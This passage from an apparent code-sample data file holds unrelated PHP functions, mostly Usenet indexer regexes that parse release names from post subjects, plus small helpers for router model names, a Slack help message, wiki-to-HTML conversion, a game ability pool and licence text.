\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Asia Biz Forecast (NHK World, 9 & 10 November 2013) - 'Mizuho: Shadow banking' (01|14) - \"ABF-2013-11-09.nfo\" yEnc\n\t\tif (preg_match('/^(.+?) \\(\\d+\\|\\d+\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //TG1 \"Top.gear.the.perfect.road.trip.2013.vol0000+128.PAR2\" :: [01/10] yEnc\n\t\tif (preg_match('/^[\\w ]+\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '(.+[\\(\\[]\\d+\\/\\d+[\\)\\]])?[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[Walmart - The High Cost of Low Prices]-[28/59] - \"wthcolp.part26.rar\" yEnc\n\t\tif (preg_match('/^\\[([\\w- ]+)\\]-\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[SR09-0013] - \"America Revealed E02 Nation On The Move (2012) x264 720p AC3 5.1.nfo\" yEnc\n\t\tif (preg_match('/^\\[[\\w- ]+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Panzer III - Medium Tank The German War Files - Panzer III - Germany's WWII Medium Tank.part05.rar\" yEnc\n\t\tif (preg_match('/^([\\w- ]+.+?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(World Air Routes - Turkish Airlines B777-300ER) [001/114] - \"World Air Routes - Turkish Airlines B777-300ER.par2\" yEnc\n\t\tif (preg_match('/^\\(World Air Routes.+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [001/137] - \"BBC.Attenborough.Zoo.Quest.Assorted.WebRips.par2\" yEnc\n\t\tif (preg_match('/\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"(.+)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //dokus4alle presents (01/52) \"BBC.Tweed.1of3.Trouble.Looms.H264.AAC.nfo\" - 603.24 MB - yEnc\n\t\tif (preg_match('/^dokus4alle presents \\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[U4A]-[After Porn Ends DOCU WEBRip X264 AAC]-[01/65] - \"after.porn.ends.par2\" yEnc\n\t\tif (preg_match('/^\\[U4A\\]-\\[(.+)\\]-\\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function ff_hh_beautify_hw_name( $hw, $discard_vendor = '' ) {\n\tif ( ! strncmp( $hw, 'tp-link', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( 'TP LINK ', 'TP-Link ', $hw );\n\t\t$hw = str_replace( ' TL ', ' TL-', $hw );\n\t} elseif ( ! strncmp( $hw, 'ubiquiti', 8 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = str_replace( 'bullet-m', 'bullet-m / nanostation-loco-m', $hw );\n\t\t$hw = str_replace( '-m', ' M2', $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = ucwords( $hw );\n\t} elseif ( ! strncmp( $hw, 'd-link', 6 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( 'D LINK ', 'D-Link ', $hw );\n\t\t$hw = str_replace( ' DIR ', ' DIR-', $hw );\n\t} elseif ( ! strncmp( $hw, 'linksys', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( 'LINKSYS', 'Linksys ', $hw );\n\t\t$hw = str_replace( ' WRT', ' WRT-', $hw );\n\t} elseif ( ! strncmp( $hw, 'buffalo', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace('BUFFALO', 'Buffalo', $hw );\n\t\t$hw = str_replace( 'HP-AG300H-WZR-600DHP', 'HP-AG300H & WZR-600DHP', $hw );\n\t\t$hw = str_replace( '-WZR', 'WZR', $hw );\n\t}\n\treturn $hw;\n}", "function writeHelp() {\n\t\t$pt1 = array(\t'title' => 'Valid commands',\n\t\t\t\t\t\t'text' => \"Please enter a request in the following format:\\n/cherwell I ##### for an incident\\n/cherwell T ##### for a task\\n/cherwell C ##### for a change request\",\n\t\t\t\t\t\t'color' => \"#b3003b\");\n\t\t$pt2 = array(\t'fallback'=>\"Help\", 'attachments' => array($pt1));\n\t\treturn json_encode($pt2);\n\t}", "public function u4e()\n\t{\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function generateSpecialAbilityPool(){\r\n\t$this->Specs = $this->Player['spec'].\"\\n\".$this->MS['spec'].\"\\n\".$this->Eq['A']['spec'].\"\\n\".$this->Tactics['spec'];\r\n\tif ($this->Eq['D']['spec'])\t\t\t$this->Specs .= \"\\n\".$this->Eq['D']['spec'];\r\n\tif ($this->Eq['E']['spec'])\t\t\t$this->Specs .= \"\\n\".$this->Eq['E']['spec'];\r\n\tif ($this->Tactics['spec'] == 'AllWepStirke')\t$this->Specs .= \"\\n\".$this->Eq['B']['spec'].\"\\n\".$this->Eq['C']['spec'];\r\n\r\n}", "function extract_motion_text_from_wiki_text($text)\n{\n $motion = extract_motion_text_from_wiki_text_for_edit($text);\n\n if (!preg_match(\"/.*<\\/.*?>/\", $motion))\n {\n $motionlines = explode(\"\\n\", $motion);\n $binUL = 0;\n $res = array();\n $matches = array();\n foreach ($motionlines as $motionline)\n {\n $ml = preg_replace(\"/''(.*?)''/\", \"<em>\\\\1</em>\", $motionline);\n $ml = preg_replace(\"/\\[(https?:\\S*)\\s+(.*?)\\]/\", \"<a href=\\\"\\\\1\\\">\\\\2</a>\", $ml);\n $ml = preg_replace(\"/(?<![*\\s])(\\[(\\d+)\\])/\", \"<sup class=\\\"sup-\\\\2\\\"><a class=\\\"sup\\\" href=\\\"#footnote-\\\\2\\\" onclick=\\\"ClickSup(\\\\2); return false;\\\">\\\\1</a></sup>\", $ml);\n #$ml = preg_replace(\"/(\\[\\d+])/\", \"<sup>\\\\1</sup>\", $ml);\n if (preg_match(\"/^\\s\\s*$/\", $ml))\n continue;\n if (preg_match(\"/^@/\", $ml)) // skip comment lines we lift up for the short sentences\n continue;\n if (preg_match(\"/^(\\*|:)/\", $ml))\n {\n if (!$binUL)\n $res[] = \"<ul>\";\n $binUL = (preg_match(\"/^\\*\\*/\", $ml) ? 2 : 1);\n if (preg_match(\"/^:/\", $ml))\n $binUL = 3;\n else if (preg_match(\"/^\\s*\\*\\s*\\[\\d+\\]/\", $ml, $matches))\n {\n $binUL = 4; \n $footnum = preg_replace(\"/[\\s\\*\\[\\]]+/\", \"\", $matches[0]); // awful stuff because I can't pull out bits like in python\n }\n $ml = preg_replace(\"/^(\\*\\*|\\*|:)\\s*/\", \"\", $ml);\n }\n else if ($binUL != 0)\n {\n $binUL = 0;\n $res[] = \"</ul>\";\n }\n\n \n if ($binUL == 0)\n $res[] = \"<p>\";\n else if ($binUL == 2)\n $res[] = \"<li class=\\\"house\\\">\";\n else if ($binUL == 3)\n $res[] = \"<li class=\\\"block\\\">\";\n else if ($binUL == 4)\n $res[] = \"<li class=\\\"footnote\\\" id=\\\"footnote-$footnum\\\">\";\n else\n $res[] = \"<li>\";\n \n $res[] = $ml;\n \n if ($binUL == 0)\n $res[] = \"</p>\";\n else\n $res[] = \"</li>\";\n }\n if ($binUL)\n $res[] = \"</ul>\";\n $motion = implode(\"\\n\", $res);\n #$motion = preg_replace(\"/\\*/\", \"HIHI\", $motion);\n }\n $motion = guy2html(guy_strip_bad(trim($motion)));\n\n return $motion;\n}", "public function barbarella()\n\t{\n\t\tif (preg_match('/^([a-zA-Z0-9].+?) - \\[\\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Die.Nacht.Der.Creeps.THEATRICAL.GERMAN.1986.720p.BluRay.x264-GH - \"gh-notcreepskf720.nfo\" yEnc\n\t\t//The.Fast.and.the.Furious.Tokyo.Drift.2006.German.1080p.BluRay.x264.iNTERNAL-MWS - \"mws-tfatftd-1080p.nfo\" yEnc\n\t\tif (preg_match('/^([\\w.-]+)\\s+-\\s+\".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//CorelDRAW Technical Suite X6-16.3.0.1114 x32-x64<><>DRM<><> - (10/48) \"CorelDRAW Technical Suite X6-16.3.0.1114 x32-x64.part09.rar\" - 2,01 GB - yEnc\n\t\t//AnyDVD_7.1.9.3_-_HD-BR - Beta<>give-me-all.org<>DRM<><> - (1/3) \"AnyDVD_7.1.9.3_-_HD-BR - Beta.par2\" - 14,53 MB - yEnc\n\t\t//Android Softarchive.net Collection Pack 27^^give-me-all.org^^^^DRM^^^^ - (01/26) \"Android Softarchive.net Collection Pack 27.par2\" - 1,01 GB - yEnc\n\t\t//WIN7_ULT_SP1_x86_x64_IE10_19_05_13_TRIBAL <> give-me-all.org <> DRM <> <> PW <> - (154/155) \"WIN7_ULT_SP1_x86_x64_IE10_19_05_13_TRIBAL.vol57+11.par2\" - 7,03 GB - yEnc\n\t\t//[Android].Ultimate.iOS7.Apex.Nova.Theme.v1.45 <> DRM <> - (1/3) \"[Android].Ultimate.iOS7.Apex.Nova.Theme.v1.45.par2\" - 21,14 MB - yEnc\n\t\tif (preg_match('/^(\\[[A-Za-z]+\\]\\.|reup\\.)?([a-zA-Z0-9].+?)([\\^<> ]+give-me-all\\.org[\\^<> ]+|[\\^<> ]+)DRM[\\^<> ]+.+? - \\(\\d+\\/\\d+\\) \".+?\" - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(004/114) - Description - \"Pluralsight.net XAML Patterns (10).rar\" - 532,92 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - .+? - \"(.+?)( \\(\\d+\\))?' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(01/12) - \"TransX - Living on a Video 1993.part01.rar\" - 561,55 MB - TransX - Living on a Video 1993.[Lossless] Highh Quality yEnc\n\t\t//(59/81) \"1973 .Lee.Jun.Fan.DVD9.untouched.z46\" - 7,29 GB - Lee.Jun.Fan.sein.Film.DVD9.untouched yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)( -)? \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - (.+?) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //>>> www.lords-of-usenet.org <<< \"Der Schuh Des Manitu.par2\" DVD5 [001/158] - 4,29 GB yEnc\n\t\tif (preg_match('/^>>> www\\.lords-of-usenet\\.org <<<.+? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' .+? \\[\\d+\\/\\d+\\] - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//NEUES 4y - [@ usenet-4all.info - powered by ssl.news -] [5,58 GB] [002/120] \"DovakinPack.part002.rar\" yEnc\n\t\t//NEUES 4y (PW) [@ usenet-4all.info - powered by ssl.news -] [7,05 GB] [014/152] \"EngelsGleich.part014.rar\" yEnc\n\t\tif (preg_match('/^.+? (-|\\(PW\\))\\s+\\[.+? -\\] \\[\\d+[,.]\\d+ [mMkKgG][bB]\\] \\[\\d+\\/\\d+\\] \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Old Dad uppt Die Schatzinsel Teil 1+Teil2 AC3 DVD Rip German XviD Wp 01/33] - \"upp11.par2\" yEnc\n\t\t//Old Dad uppt Scary Movie5 WEB RiP Line XviD German 01/24] - \"Scary Movie 5.par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?\\s{2,}|Old Dad uppt\\s+)(.+?) \\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//>>> 20,36 MB \"Winamp.Pro.v5.70.3392.Incl.Keygen-FFF.par2\" 552 B yEnc\n\t\t//..:[DoAsYouLike]:.. 9,64 MB \"Snooper 1.39.5.par2\" 468 B yEnc\n\t\tif (preg_match('/^.+?\\s{2,}\\d+[,.]\\d+ [mMkKgG][bB]\\s{2,}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '\\s{2,}(\\d+ B|\\d+[,.]\\d+ [mMkKgG][bB]) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(MKV - DVD - Rip - German - English - Italiano) - \"CALIGULA (1982) UNCUT.sfv\" yEnc\n\t\tif (preg_match('/^\\(.+?\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"sre56565ztrtzuzi8inzufft.par2\" yEnc\n\t\tif (preg_match('/^\"([a-z0-9]+)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function Copyright(){\n\t\treturn 'For The Win forums version 2.5 <br /> copyright &copy; FTW Entertainment LLC, 2008-'.date(\"Y\").', all rights reserved.';\n\t}", "public function classic_tv_shows()\n\t{\n\t\tif (preg_match('/^Re: REQ: (.+? - \".+?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Per REQ - \"The.Wild.Wild.West.S03E11.The.Night.of.the.Cut-Throats.DVDRip.XVID-tz.par2\" 512x384 [01/40] yEnc\n\t\tif (preg_match('/^Per REQ - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' .+? \\[\\d+\\/\\d+\\] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //By req: \"Dennis The Menace - 4x25 - Dennis and the Homing Pigeons.part05.rar\" yEnc\n\t\tif (preg_match('/^By req: \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //I Spy HQ DVDRips \"I Spy - 3x26 Pinwheel.part10.rar\" [13/22] yEnc\n\t\tif (preg_match('/^[a-zA-Z ]+HQ DVDRips \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' \\[\\d+\\/\\d+\\] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Sledge Hammer! S2D2 [016/138] - \"SH! S2 D2.ISO.016\" yEnc\n\t\t//Sledge Hammer! S2D2 [113/138] - \"SH! S2 D2.ISO.1132 yEnc\n\t\t//Lost In Space - Season 1 - [13/40] - \"S1E02 - The Derelict.avi\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+? (S\\d+D\\d+|- Season \\d+))( -)? \\[\\d+\\/\\d+\\] - \".+?\"? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Night Flight TV Show rec 1991-01-12 (02/54) - \"night flight rec 1991-01-12.nfo\" yEnc\n\t\t//Night Flight TV Show rec 1991-05-05 [NEW PAR SET] (1/9) - \"night flight rec 1991-05-05.par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+? \\d{4}-\\d\\d-\\d\\d)( \\[.+?\\])? \\(\\d+\\/\\d+\\) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//The.Love.Boat.S05E08 [01/31] - \"The.Love.Boat.S05E08.Chefs.Special.Kleinschmidt.New.Beginnings.par2\" yEnc\n\t\t//Barney.Miller.S08E05.Stress.Analyzer [01/18] - \"Barney.Miller.S08E05.Stress.Analyzer.VHSTVRip.DivX.par2\" yEnc\n\t\tif (preg_match('/^[a-zA-Z0-9][a-zA-Z0-9.-]+S\\d+E\\d+([a-zA-Z0-9.]+)? \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//\"Batman - S1E13-The Thirteenth Hat.par2\" yEnc\n\t\t//\"The Munsters - 1x01 Munster Masquerade.part.par\" HQ DVDRip[02/16] yEnc\n\t\tif (preg_match('/^(Re: )?\"(.+?)(\\.avi|\\.mkv)?' . $this->e0 .\n\t\t\t\t\t '( HQ DVDRip\\[\\d+\\/\\d+\\])? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Re: Outside Edge series 1 - [01/20] - \"Outside Edge S01.nfo\" yEnc\n\t\t//Green Acres Season 1 [01/87] - \"Green Acres Season 1.par2\" yEnc\n\t\t//MASH Season 1 - [01/54] - \"MASH - Season 01.par2\" yEnc\n\t\tif (preg_match('/^(Re: )?[a-zA-Z0-9]+.+? (series|Season) \\d+ (- )?\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[4];\n\t\t}\n\t\t//Rich.Little.Show - 1x12 - Season.and.Series.Finale - [02/33] - \"Rich Little Show - 1x12 - Bill Bixby.avi.002\" yEnc\n\t\t//Rich.Little.Show - 1x11 - [01/33] - \"Rich Little Show - 1x11 - Jessica Walter.avi.001\" yEnc\n\t\t//REQ - Banacek - 2x07 - [02/61] - \"Banacek - 2x07 - Fly Me - If You Can Find Me.avi.002\" yEnc\n\t\tif (preg_match('/^(REQ - )?[A-Z0-9a-z][A-Z0-9a-z.]+ - \\d+x\\d+ (- [A-Z0-9a-z.]+ )?- \\[\\d+\\/\\d+\\] - \"(.+?)(\\.avi|\\.mkv)?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //Handyman Shows-TOH-S32E10 - File 01 of 32 - yEnc\n\t\tif (preg_match('/^Handyman Shows-(.+) - File \\d+ of \\d+ - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//'Mission: Impossible' - 1x09 - NTSC - DivX - 28 of 48 - \"MI-S01E09.r23\" yEnc\n\t\t//'Mission: Impossible' - 1x09 - NTSC - DivX - 01 of 48 - \"MI-S01E09.nfo\" (1/1)\n\t\tif (preg_match('/^([a-zA-Z0-9 -_\\.:]+) - \\d+( of \\d+)[-_\\s]{0,3}\".+?' . $this->e0 .\n\t\t\t\t\t ' (\\(\\d+\\/\\d+\\) )?(yEnc)?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//\"Batman - S2E58-Ice Spy.par2\"yEnc\n\t\t//\"Black Sheep Squadron 1x03 Best Three Out of Five.par2\"\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '(yEnc)?( )?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Guns of Will Sonnett - 1x04.mp4\" (Not My Rip)Guns Of Will Sonnett Season 1 1 - 26 Mp4 With Pars yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' \\(Not My Rip\\).+ \\d+ (- \\d+) .+ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/10) \"Watch_With_Mother-Bill_And_Ben-1953_02_12-Scarecrow-VHSRip-XviD.avi\" - 162.20 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[.,]\\d+ [kKmMgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(Our Gang - Little Rascals DVDRips) \"Our Gang - The Lucky Corner (1936).part0.sfv\" [01/19] yEnc\n\t\t//(Our Gang - Little Rascals DVDRips) \"Our Gang - Wild Poses (1933).part.par\" [02/20] Last One I Have! yEnc\n\t\tif (preg_match('/^\\(.+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' \\[\\d+\\/(\\d+\\]) (Last One I Have! )?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[EnJoY] =>A Blast from Usenet Past (1/3)<= [00/14] - \"Mcdonalds Training Film - 1972 (Vhs-Mpg).part.nzb\" yEnc\n\t\tif (preg_match('/^.+ Usenet Past .+\\[\\d+\\/(\\d+\\]) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //<OPA_TV> [01/12] - \"Yancy Derringer - 03 - Geheime Fracht.par2\" yEnc\n\t\tif (preg_match('/^<OPA_TV> \\[\\d+\\/(\\d+\\]) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//77 Sunset Strip 409 [1 of 23] \"77 Sunset Strip 409 The Missing Daddy Caper.avi.vol63+34.par2\" yEnc\n\t\t//Barney.Miller.NZBs [001/170] - \"Barney.Miller.S01E01.Ramon.nzb\" yEnc\n\t\tif (preg_match('/^.+ [\\[\\(]\\d+( of |\\/)(\\d+[\\]\\)])[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t}\n\t\t//All in the Family - missing eps - DVDRips \"All in the Family - 6x23 Gloria & Mike's House Guests.part5.rar\" [08/16] yEnc\n\t\t//Amos 'n' Andy - more shows---read info.txt \"Amos 'n' Andy S01E00 Introduction of the Cast.mkv.001\" (002/773) yEnc\n\t\tif (preg_match('/^.+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' [\\[\\(]\\d+\\/(\\d+[\\]\\)]) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Andy Griffith Show,The 1x05....Irresistible Andy - (DVD).part04.rar\n\t\tif (preg_match('/^(.+\\d+x\\d+.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4})( yEnc)?( (Series|Season) Finale)?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function getCode() {\n\n $licence = '/*\n * Auto Generated Code for HomeNet\n *\n * Copyright (c) 2011 HomeNet.\n *\n * This file is part of HomeNet.\n *\n * HomeNet is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * HomeNet is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with HomeNet. If not, see <http ://www.gnu.org/licenses/>.\n */';\n return $licence;\n }", "function bot_wtc_gTxt($what) {\nglobal $event;\nif($event !== 'article') {\n\treturn;\n}\n\tglobal $language;\n\n\t$en_us = array(\n\t\t'install_message' => 'bot_wtc is not yet properly initialized. Use the button below to create the preferences table.',\n\t\t'upgrade_message' => 'bot_wtc must be upgraded. Use the button below to add the new fields to the preferences table.',\n\t\t'uninstall' => 'Uninstall',\n\t\t'uninstall_message' => 'Using the button below will remove all preferences from the db. <br />Use before a complete uninstall or to reset all preferences. ',\n\t\t'uninstall_confirm' => 'Are you sure you want to delete the preferences table?',\n\t\t'td_warning' => 'Columns cannot be moved relative to single items and 